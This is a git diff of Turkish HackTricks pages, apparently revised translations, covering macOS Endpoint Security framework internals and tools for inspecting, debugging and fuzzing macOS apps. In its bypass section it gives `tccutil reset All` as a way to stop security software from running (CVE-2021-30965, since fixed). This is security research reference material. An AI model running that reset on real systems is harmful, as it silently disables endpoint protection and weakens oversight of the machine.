* **EndpointSecurityDriver**: Bu, çekirdek uzantısının "giriş noktası" olarak hareket eder. OS ile Uç Nokta Güvenlik çerçevesi arasındaki ana etkileşim noktasıdır.
* **EndpointSecurityEventManager**: Bu bileşen, çekirdek kancalarını uygulamaktan sorumludur. Çekirdek kancaları, çerçevenin sistem çağrılarını engelleyerek sistem olaylarını izlemesine olanak tanır.
* **EndpointSecurityClientManager**: Bu, kullanıcı alanı istemcileriyle iletişimi yönetir, hangi istemcilerin bağlı olduğunu ve olay bildirimleri alması gerektiğini takip eder.
* **EndpointSecurityMessageManager**: Bu, mesajları ve olay bildirimlerini kullanıcı alanı istemcilerine gönderir.
@ -54,7 +55,7 @@ Uç Nokta Güvenlik çerçevesinin izleyebileceği olaylar şunlara ayrılır:
* Dosya olayları
* İşlem olayları
* Soket olayları
* Çekirdek olayları (örneğin bir çekirdek uzantısını yükleme/boşaltma veya bir I/O Kit cihazını açma)
* Çekirdek olayları (örneğin, bir çekirdek uzantısını yükleme/boşaltma veya bir I/O Kit cihazını açma)
### Uç Nokta Güvenlik Çerçevesi Mimarisi
@ -62,44 +63,45 @@ Uç Nokta Güvenlik çerçevesinin izleyebileceği olaylar şunlara ayrılır:
Uç Nokta Güvenlik çerçevesiyle **kullanıcı alanı iletişimi**, IOUserClient sınıfı aracılığıyla gerçekleşir. Çağrı türüne bağlı olarak iki farklı alt sınıf kullanılır:
* **EndpointSecurityDriverClient**: Bu, yalnızca sistem işlemi `endpointsecurityd` tarafından tutulan `com.apple.private.endpoint-security.manager` yetkisini gerektirir.
* **EndpointSecurityDriverClient**: Bu, yalnızca sistem süreci `endpointsecurityd` tarafından tutulan `com.apple.private.endpoint-security.manager` yetkisini gerektirir.
* **EndpointSecurityExternalClient**: Bu, `com.apple.developer.endpoint-security.client` yetkisini gerektirir. Bu genellikle Uç Nokta Güvenlik çerçevesiyle etkileşimde bulunması gereken üçüncü taraf güvenlik yazılımı tarafından kullanılır.
Uç Nokta Güvenlik Uzantıları:**`libEndpointSecurity.dylib`**, sistem uzantılarının çekirdek ile iletişim kurmak için kullandığı C kütüphanesidir. Bu kütüphane, Endpoint Security KEXT ile iletişim kurmak için I/O Kit (`IOKit`) kullanır.
**`endpointsecurityd`**, özellikle erken başlatma sürecinde uç nokta güvenlik sistem uzantılarını yöneten ve başlatan önemli bir sistem hizmetidir. Yalnızca `Info.plist` dosyasındaki **`NSEndpointSecurityEarlyBoot`** ile işaretlenmiş **yalnızca sistem uzantıları**, bu erken başlatma işleminden faydalanır.
**`endpointsecurityd`**, özellikle erken başlatma sürecinde uç nokta güvenlik sistem uzantılarını yöneten ve başlatan önemli bir sistem daemonudur. **Yalnızca** `Info.plist` dosyasındaki **`NSEndpointSecurityEarlyBoot`** ile işaretlenen **sistem uzantıları**, bu erken başlatma işleminden faydalanır.
Başka bir sistem hizmeti olan **`sysextd`**, sistem uzantılarını doğrular ve bunları uygun sistem konumlarına taşır. Daha sonra ilgili hizmetten uzantının yüklenmesini ister. **`SystemExtensions.framework`**, sistem uzantılarını etkinleştirme ve devre dışı bırakma işlevinden sorumludur.
Başka bir sistem daemonu olan **`sysextd`**, sistem uzantılarını doğrular ve bunları uygun sistem konumlarına taşır. Daha sonra ilgili daemonun uzantıyı yüklemesini ister. **`SystemExtensions.framework`**, sistem uzantılarını etkinleştirme ve devre dışı bırakma işlevinden sorumludur.
## ESF'nin Atlatılması
ESF, kırmızı takımı tespit etmeye çalışacak güvenlik araçları tarafından kullanılır, bu nedenle bunun nasıl atlatılabileceğine dair herhangi bir bilgi ilginç gelebilir.
ESF, kırmızı takımı tespit etmeye çalışacak güvenlik araçları tarafından kullanılır, bu yüzden bunun nasıl atlatılabileceği hakkında herhangi bir bilgi ilginç gelebilir.
### CVE-2021-30965
İşin aslı, güvenlik uygulamasının **Tam Disk Erişimi izinlerine** sahip olması gerekmektedir. Bu izni kaldırabilen bir saldırgan, yazılımın çalışmasını engelleyebilir:
İşin aslı, güvenlik uygulamasının **Tam Disk Erişimi izinlerine** sahip olması gerekmektedir. Bu nedenle, bir saldırgan bunu kaldırabilirse, yazılımın çalışmasını engelleyebilir:
```bash
tccutil reset All
```
**Daha fazla bilgi** için bu bypass ve ilgili olanlar hakkında [#OBTS v5.0: "EndpointSecurity'ın Achilles Topu" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI) konuşmasına bakabilirsiniz.
**Daha fazla bilgi** için bu bypass ve ilgili olanlar hakkında [#OBTS v5.0: "EndpointSecurity'ın Achilles Topuğu" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI) konuşmasına bakabilirsiniz.
Sonunda, bu, **`tccd`** tarafından yönetilen güvenlik uygulamasına yeni izin **`kTCCServiceEndpointSecurityClient`** verilerek düzeltildi, böylece `tccutil` izinlerini temizlemez ve çalışmasını engellemez.
Sonunda, **`tccd`** tarafından yönetilen güvenlik uygulamasına yeni izin **`kTCCServiceEndpointSecurityClient`** verilerek bu izinlerini temizlemesini önleyerek çalışmasını engellemesi engellendi.
## Referanslar
* [**OBTS v3.0: "Endpoint Security & Insecurity" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs)
* [**https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html**](https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html)
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* Hacking püf noktalarını paylaşarak PR'ler göndererek **HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# macOS Uygulamaları - İnceleme, hata ayıklama ve Fuzzing
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com)
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**] koleksiyonumuz (https://opensea.io/collection/the-peass-family)
* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] veya bizi **Twitter** 🐦 [**@carlospolopm**] (https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur.
[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur.
WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
@ -37,22 +38,15 @@ otool -tv /bin/ps #Decompile application
```
{% code overflow="wrap" %}
Aşağıda, macOS uygulamalarını inceleme, hata ayıklama ve bulanıklık testi yapma sürecinde kullanılabilecek bazı araçlar ve teknikler bulunmaktadır.
Aşağıda, macOS uygulamalarını inceleme, hata ayıklama ve bulanıklık testi yapma süreçlerini adım adım açıklanmaktadır.
## Uygulamaları İnceleme ve Hata Ayıklama
1. **Uygulamaları İnceleme**: Uygulamanın işlevselliğini ve güvenlik önlemlerini anlamak için statik analiz araçları kullanın.
2. **Hata Ayıklama**: Uygulamanın çalışma zamanındaki davranışını anlamak için dinamik analiz araçları ve hata ayıklama tekniklerini kullanın.
### 1. **Hopper Disassembler**
Hopper Disassembler, macOS uygulamalarını tersine mühendislik yapmak için kullanılan güçlü bir araçtır. Uygulamanın çalışma mantığını ve işlevlerini anlamak için kullanışlıdır.
3. **Bulanıklık Testi (Fuzzing)**: Uygulamanın girdilerine rastgele veriler göndererek hatalı davranışları tespit etmeye çalışın.
### 2. **LLDB Debugger**
LLDB Debugger, macOS'ta hata ayıklama yapmak için kullanılan bir araçtır. Uygulamanın çalışma zamanında değişkenleri incelemek, hata ayıklamak ve kodu adım adım izlemek için kullanılabilir.
## Bulanıklık Testi
### 1. **American Fuzzy Lop (AFL)**
AFL, macOS uygulamalarında bulanıklık testi yapmak için etkili bir araçtır. Uygulamanın girişine farklı veri setleri vererek hatalı girişlerin neden olduğu çökmeleri ve güvenlik açıklarını tespit etmek için kullanılabilir.
Bu araçlar ve teknikler, macOS uygulamalarının güvenliğini değerlendirmek ve olası güvenlik açıklarını tespit etmek için kullanılabilir.
Bu adımları uygulayarak, macOS uygulamalarının güvenlik açıklarını tespit edebilir ve geliştiricilerin bu açıkları kapatmalarına yardımcı olabilirsiniz.
```bash
objdump -m --dylibs-used /bin/ls #List dynamically linked libraries
objdump -m -h /bin/ls # Get headers information
@ -61,7 +55,7 @@ objdump -m --full-contents /bin/ls # Dump every section
objdump -d /bin/ls # Dissasemble the binary
objdump --disassemble-symbols=_hello --x86-asm-syntax=intel toolsdemo #Disassemble a function using intel flavour
```
{% endcode %} dosyasındaki içerik şu şekildedir:
{% endcode %}
```bash
nm -m ./tccd # List of symbols
```
@ -130,7 +124,7 @@ ldid -S/tmp/entl.xml <binary>
```
### SuspiciousPackage
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) şüpheli **.pkg** dosyalarını (kurulum dosyaları) incelemek ve içeriğini kurmadan önce görmek için faydalı bir araçtır.\
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html), kurmadan önce **.pkg** dosyalarını (kurulum dosyaları) incelemek ve içinde ne olduğunu görmek için kullanışlı bir araçtır.\
Bu kurulum dosyaları genellikle kötü amaçlı yazılım yazarlarının genellikle kötü amaçlı yazılımı **sürdürmek** için istismar ettikleri `preinstall` ve `postinstall` bash betiklerine sahiptir.
### hdiutil
@ -141,9 +135,9 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
```
### Paketlenmiş ikili dosyalar
- Yüksek entropiyi kontrol et
- Dizeleri kontrol et (anlaşılabilir dize neredeyse yoksa, paketlenmiş)
- MacOS için UPX paketleyici bir "\_\_XHDR" bölümü oluşturur
* Yüksek entropi kontrolü yapın
* Dizeleri kontrol edin (anlaşılabilir dize neredeyse yoksa, paketlenmiş)
* MacOS için UPX paketleyici bir "\_\_XHDR" adında bir bölüm oluşturur
## Statik Objective-C analizi
@ -153,10 +147,10 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
Objective-C ile yazılan programların [Mach-O ikili dosyalarına](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md) derlendiğinde sınıf bildirimlerini **sakladığını unutmayın**. Bu tür sınıf bildirimleri şunları içerir:
{% endhint %}
- Tanımlanan arayüzler
- Arayüz metodları
- Arayüz örnek değişkenleri
- Tanımlanan protokoller
* Tanımlanan arayüzler
* Arayüz metodları
* Arayüz örnek değişkenleri
* Tanımlanan protokoller
Bu isimler, ikili dosyanın tersine mühendisliğini zorlaştırmak için karıştırılabilir.
@ -168,9 +162,9 @@ Objective-C kullanan bir ikili dosyada bir fonksiyon çağrıldığında, derlen
Bu fonksiyonun beklediği parametreler şunlardır:
- İlk parametre (**self**), "mesajı alan sınıf örneğine işaret eden bir işaretçi"dir. Daha basitçe, bu, yöntemin çağrıldığı nesnedir. Eğer yöntem bir sınıf yöntemi ise, bu, sınıf nesnesinin bir örneği olacaktır, bir örnek yöntem için ise self, bir nesne olarak sınıfın örneğine işaret edecektir.
- İkinci parametre, (**op**), "mesajı işleyen yöntemin seçicisi"dir. Daha basitçe, bu sadece yöntemin **adıdır**.
- Geri kalan parametreler, yöntem tarafından **gereken değerlerdir** (op).
* İlk parametre (**self**), "mesajı alacak sınıf örneğine işaret eden bir işaretçi"dir. Daha basitçe, bu, yöntemin çağrıldığı nesnedir. Eğer yöntem bir sınıf yöntemi ise, bu, sınıf nesnesinin bir örneği olacaktır, bir örnek yöntem için ise, self, bir nesne olarak sınıfın örneğine işaret edecektir.
* İkinci parametre, (**op**), "mesajı işleyen yöntemin seçicisi"dir. Daha basitçe, bu sadece yöntemin **adıdır**.
* Geri kalan parametreler, yöntem tarafından gereken **değerlerdir** (op).
Bu bilgilere **ARM64**'te `lldb` ile nasıl kolayca ulaşılacağını buradan görebilirsiniz:
@ -188,13 +182,13 @@ x64:
| **4. argüman** | **rcx** | **yönteme 2. argüman** |
| **5. argüman** | **r8** | **yönteme 3. argüman** |
| **6. argüman** | **r9** | **yönteme 4. argüman** |
| **7. ve sonrası argüman** | <p><strong>rsp+</strong><br><strong>(yığında)</strong></p> | **yönteme 5. ve sonrası argüman** |
| **7. ve sonraki argüman** | <p><strong>rsp+</strong><br><strong>(yığında)</strong></p> | **yönteme 5. ve sonraki argümanlar** |
### ObjectiveC meta verilerini dök
### ObjectiveC meta verilerini dökün
### Dynadump
[**Dynadump**](https://github.com/DerekSelander/dynadump), Objective-C ikili dosyalarını sınıf-dump etmek için bir araçtır. Github, dylib'leri belirtir ancak bu aynı zamanda yürütülebilir dosyalarla da çalışır.
[**Dynadump**](https://github.com/DerekSelander/dynadump), Objective-C ikili dosyalarını sınıf-dump etmek için bir araçtır. Github dylib'leri belirtse de bu aynı zamanda yürütülebilir dosyalarla da çalışır.
```bash
./dynadump dump /path/to/bin
```
@ -210,11 +204,11 @@ objdump --macho --objc-meta-data /path/to/bin
[**class-dump**](https://github.com/nygard/class-dump/) orijinal bir araçtır ve ObjetiveC biçimli kodlardaki sınıflar, kategoriler ve protokoller için deklarasyonlar oluşturur.
Eski ve bakımsız olduğundan muhtemelen düzgün çalışmayacaktır.
Eski ve bakımsız olduğundan dolayı muhtemelen düzgün çalışmayacaktır.
#### ICDump
[**iCDump**](https://github.com/romainthomas/iCDump) modern ve çapraz platformlu bir Objective-C sınıf döküm aracıdır. Mevcut araçlarla karşılaştırıldığında, iCDump Apple ekosisteminden bağımsız olarak çalışabilir ve Python bağlantı noktalarını ortaya çıkarır.
[**iCDump**](https://github.com/romainthomas/iCDump) modern ve çapraz platformlu bir Objective-C sınıf döküm aracıdır. Mevcut araçlarla karşılaştırıldığında, iCDump Apple ekosisteminden bağımsız olarak çalışabilir ve Python bağlantıları sunar.
```python
import icdump
metadata = icdump.objc.parse("/path/to/bin")
@ -237,9 +231,9 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd
Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
[...]
```
Ayrıca, bu bölümde depolanan bilgiler hakkında daha fazla bilgiye [**bu blog yazısında**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html) ulaşabilirsiniz.
Ayrıca, bu bölümde depolanan bilgiler hakkında daha fazla bilgiye [bu blog yazısında](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html) ulaşabilirsiniz.
Ayrıca, **Swift ikili dosyalarında semboller olabilir** (örneğin kütüphaneler, işlevlerine erişmek için sembollerin depolanması gerektiği için). **Semboller genellikle işlev adı ve özniteliği hakkında bilgi içerir** ve çirkin bir şekilde saklanır, bu nedenle çok yararlıdır ve orijinal adı alabilen "**demanglers"** bulunmaktadır:
Ayrıca, **Swift ikili dosyalarının sembolleri olabilir** (örneğin kütüphaneler sembolleri depolamalıdır böylece işlevlerine çağrı yapılabilir). **Semboller genellikle işlev adı ve özniteliği hakkında bilgi içerir** ve çirkin bir şekilde saklanır, bu yüzden çok yararlıdır ve **"demanglers"** adında orijinal adı alabilen araçlar bulunmaktadır:
```bash
# Ghidra plugin
https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
@ -259,12 +253,12 @@ Not edin ki, macOS'ta **sistem ikililerini enstrümanize etmek** için (örneği
### API'lar
macOS, işlemler hakkında bilgi veren bazı ilginç API'lar sunar:
macOS, işlemler hakkında bilgi veren bazı ilginç API'ler sunar:
* `proc_info`: Bu, her işlem hakkında birçok bilgi veren ana API'dir. Diğer işlemler hakkında bilgi almak için kök kullanıcı olmanız gerekir, ancak özel yetkilendirmelere veya mach portlarına ihtiyacınız yoktur.
* `libsysmon.dylib`: İşlemler hakkında bilgi almayı sağlar XPC ık fonksiyonları aracılığıyla, ancak `com.apple.sysmond.client` yetkilendirmesine sahip olmak gereklidir.
* `proc_info`: Bu, her işlem hakkında birçok bilgi veren ana API'dir. Diğer işlemler hakkında bilgi almak için kök kullanıcı olmanız gerekir, ancak özel yetkilere veya mach portlarına ihtiyacınız yoktur.
* `libsysmon.dylib`: İşlemler hakkında bilgi almayı sağlar XPC iletişimine açık işlevler aracılığıyla, ancak `com.apple.sysmond.client` yetkisine sahip olmak gereklidir.
### Stackshot & microstackshots
### Stackshot ve microstackshots
**Stackshotting**, işlemlerin durumunu yakalamak için kullanılan bir tekniktir, tüm çalışan iş parçacıklarının çağrı yığınlarını içerir. Bu, özellikle hata ayıklama, performans analizi ve sistemin belirli bir noktasındaki davranışını anlama açısından oldukça yararlıdır. iOS ve macOS'ta, stackshotting, **`sample`** ve **`spindump`** gibi araçlar ve yöntemler kullanılarak gerçekleştirilebilir.
@ -272,9 +266,9 @@ macOS, işlemler hakkında bilgi veren bazı ilginç API'lar sunar:
Bu araç (`/usr/bini/ysdiagnose`), temelde `ps`, `zprint` gibi onlarca farklı komutu çalıştırarak bilgisayarınızdan birçok bilgi toplar.
Bu **kök** olarak çalıştırılmalıdır ve `/usr/libexec/sysdiagnosed` daemon'ı `com.apple.system-task-ports` ve `get-task-allow` gibi oldukça ilginç yetkilendirmelere sahiptir.
Bu **kök** olarak çalıştırılmalıdır ve `/usr/libexec/sysdiagnosed` daemon'ı `com.apple.system-task-ports` ve `get-task-allow` gibi oldukça ilginç yetkilere sahiptir.
Plist dosyası `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist` içinde bulunur ve 3 MachServices'i bildirir:
Plist dosyası `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist` içinde bulunur ve 3 MachServices'i tanımlar:
* `com.apple.sysdiagnose.CacheDelete`: /var/rmp içindeki eski arşivleri siler
* `com.apple.sysdiagnose.kernel.ipc`: Özel port 23 (çekirdek)
@ -282,23 +276,23 @@ Plist dosyası `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist` için
### Birleşik Günlükler
MacOS, bir uygulama çalıştırılırken **ne yaptığını anlamaya çalışırken** oldukça yararlı olabilecek birçok günlük oluşturur.
MacOS, bir uygulamayı çalıştırırken **ne yaptığını anlamaya çalışırken** oldukça yararlı olabilecek birçok günlük oluşturur.
Ayrıca, **kullanıcı** veya **bilgisayar** **tanımlanabilir** bilgileri **gizlemek** için `<private>` etiketini içeren bazı günlükler bulunmaktadır. Bununla birlikte, bu bilgileri açıklamak için bir sertifika **kurulabilir**. [**Buradan**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log) açıklamaları takip edebilirsiniz.
Ayrıca, bazı günlükler, bazı **kullanıcı** veya **bilgisayar** **tanımlanabilir** bilgileri **gizlemek** için `<private>` etiketini içerecektir. Bununla birlikte, bu bilgileri açıklamak için bir sertifika **yüklenebilir**. [**Buradan**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log) açıklamaları takip edin.
### Hopper
#### Sol panel
Hopper'ın sol panelinde, ikilinin sembolleri (**Etiketler**), prosedürlerin ve fonksiyonların listesi (**Proc**) ve dizeler (**Str**) görülebilir. Bunlar, Mac-O dosyasının çeşitli bölümlerinde tanımlanan dizelerin tamamı değildir (_cstring veya_ `objc_methname` gibi).
Hopper'ın sol panelinde, ikilinin sembolleri (**Etiketler**), prosedürlerin ve işlevlerin listesi (**Proc**) ve dizeler (**Str**) görülebilir. Bunlar tüm dizeler değildir, ancak Mac-O dosyasının çeşitli bölümlerinde tanımlananlar (örneğin _cstring veya_ `objc_methname`) dır.
#### Orta panel
Orta panelde **ayrıştırılmış kodu** görebilirsiniz. Ve bunu **ham** ayrıştırma, **grafik**, **derlenmiş** ve **ikili** olarak görebilirsiniz ilgili simgeye tıklayarak:
Orta panelde **dizilmiş kodu** görebilirsiniz. Ve bunu **ham** bir şekilde, **grafik** olarak, **derlenmiş** ve **ikili** olarak görebilirsiniz, ilgili simgeye tıklayarak:
<figure><img src="../../../.gitbook/assets/image (343).png" alt=""><figcaption></figcaption></figure>
Kod nesnesine sağ tıklayarak **o nesneye referanslardan/alınan nesnelere bakabilirsiniz** veya hatta adını değiştirebilirsiniz (bu dekompilasyon pseudokodunda çalışmaz):
Bir kod nesnesine sağ tıklayarak **o nesneye referanslara/gelen nesnelere** bakabilir veya adını değiştirebilirsiniz (bu, derlenmiş sözde kodda çalışmaz):
<figure><img src="../../../.gitbook/assets/image (1117).png" alt=""><figcaption></figcaption></figure>
@ -306,16 +300,16 @@ Ayrıca, **orta aşağıda python komutları yazabilirsiniz**.
#### Sağ panel
Sağ panelde, **gezinme geçmişi** (şu anki duruma nasıl ulaştığınızı bilmenizi sağlar), bu işlevi **çağıran tüm işlevleri ve bu işlevin çağırdığı tüm işlevleri görebileceğiniz** **çağrı grafiği** ve **yerel değişkenler** bilgilerini görebilirsiniz.
Sağ panelde, **gezinme geçmişi** (şu anki duruma nasıl geldiğinizi bilmenizi sağlar), bu işlevi **çağıran tüm işlevleri** ve bu işlevin **çağırdığı tüm işlevleri** görebileceğiniz **çağrı grafiği** ve **yerel değişkenler** bilgisi gibi ilginç bilgileri görebilirsiniz.
### dtrace
Kullanıcılara uygulamalara son derece **düşük seviyede** erişim sağlar ve kullanıcılara programları **izleme** ve hatta yürütme akışlarını değiştirme olanağı sunar. Dtrace, çekirdeğin her yerine yerleştirilen **probeleri** kullanır ve sistem çağrılarının başlangıcı ve sonu gibi konumlarda bulunur.
Kullanıcılara uygulamalara son derece **düşük seviyede** erişim sağlar ve kullanıcılara programları **izleme** ve hatta yürütme akışlarını değiştirme olanağı sunar. Dtrace, **çekirdeğin her yerine yerleştirilen** ve sistem çağrılarının başlangıcı ve sonu gibi konumlarda bulunan **probeleri** kullanır.
DTrace, her sistem çağrısı için bir prob oluşturmak için **`dtrace_probe_create`** işlevini kullanır. Bu probeler, her sistem çağrısının **giriş ve çıkış noktasında tetiklenebilir**. DTrace ile etkileşim /dev/dtrace üzerinden gerçekleşir ve yalnızca kök kullanıcılar için kullanılabilir.
DTrace, her sistem çağrısı için bir prob oluşturmak için **`dtrace_probe_create`** işlevini kullanır. Bu probeler, her sistem çağrısının **giriş ve çıkış noktasında tetiklenebilir**. DTrace ile etkileşim, yalnızca kök kullanıcılar için kullanılabilen /dev/dtrace üzerinden gerçekleşir.
{% hint style="success" %}
SIP korumasını tamamen devre dışı bırakmadan Dtrace'ı etkinleştirmek için kurtarma modunda şunu çalıştırabilirsiniz: `csrutil enable --without dtrace`
SIP korumasını tamamen devre dışı bırakmadan Dtrace'i etkinleştirmek için kurtarma modunda şunu çalıştırabilirsiniz: `csrutil enable --without dtrace`
Ayrıca, **derlediğiniz ikilileri** **`dtrace`** veya **`dtruss`** ile çalıştırabilirsiniz.
{% endhint %}
@ -406,11 +400,11 @@ Bu, bir çekirdek izleme tesisatıdır. Belgelenmiş kodlar **`/usr/share/misc/t
Bu bilgilere ulaşmak için Apple aracı **`trace`** veya özel araç [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)** kullanılabilir.**
**Unutmayın ki Kdebug yalnızca bir müşteri için kullanılabilir.** Bu nedenle aynı anda yalnızca bir k-debug destekli araç çalıştırılabilir.
**Unutmayın ki Kdebug yalnızca bir müşteri için aynı anda kullanılabilir.** Bu nedenle aynı anda yalnızca bir k-debug destekli araç çalıştırılabilir.
### ktrace
`ktrace_*` API'ları, `libktrace.dylib` içinden gelen ve `Kdebug`'ınkileri saran API'lerdir. Ardından, bir istemci sadece belirli kodlarda geri aramaları ayarlamak için `ktrace_session_create` ve `ktrace_events_[single/class]`ı çağırabilir ve ardından `ktrace_start` ile başlatabilir.
`ktrace_*` API'ları, `libktrace.dylib` içinden gelen `Kdebug`'ın sarmaladığı API'larıdır. Ardından, bir istemci sadece belirli kodlarda geri aramaları ayarlamak için `ktrace_session_create` ve `ktrace_events_[single/class]`'ı çağırabilir ve ardından `ktrace_start` ile başlatabilir.
Bu hatta **SIP etkinleştirilmiş** olsa bile kullanabilirsiniz
@ -424,20 +418,20 @@ Veya `tailspin`.
Bu, çekirdek düzeyinde profil oluşturmak için kullanılır ve `Kdebug` çağrıları kullanılarak oluşturulmuştur.
Temelde, global değişken `kernel_debug_active` kontrol edilir ve ayarlandığında `kperf_kdebug_handler` çağrılır ve `Kdebug` kodu ve çağıran çekirdek çerçevesinin adresi ile birlikte verilir. `Kdebug` kodu seçilen bir kodla eşleşirse, "actions" belirli bir bit eşlemi olarak alınır (seçenekler için `osfmk/kperf/action.h`'ye bakın).
Temelde, global değişken `kernel_debug_active` kontrol edilir ve ayarlandığında `kperf_kdebug_handler` fonksiyonu `Kdebug` kodunu ve çağrı yapan çekirdek çerçevesinin adresini alır. `Kdebug` kodu seçilen bir kodla eşleşirse, "actions" belirli bir bit eşlemi olarak yapılandırılır (seçenekler için `osfmk/kperf/action.h` dosyasına bakın).
Kperf'in bir sysctl MIB tablosu da vardır: (kök olarak) `sysctl kperf`. Bu kodlar `osfmk/kperf/kperfbsd.c` içinde bulunabilir.
Kperf'in bir sysctl MIB tablosu da vardır: (kök olarak) `sysctl kperf`. Bu kodlar `osfmk/kperf/kperfbsd.c` dosyasında bulunabilir.
Ayrıca, Kperfs işlevselliğinin bir alt kümesi olan `kpc` de, makine performans sayaçları hakkında bilgi sağlar.
Ayrıca, Kperfs işlevselliğinin bir alt kümesi olan `kpc`, makine performans sayaçları hakkında bilgi sağlar.
### ProcessMonitor
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor), bir işlemin gerçekleştirdiği işlemleri kontrol etmek için çok kullanışlı bir araçtır (örneğin, bir işlemin hangi yeni işlemleri oluşturduğunu izlemek).
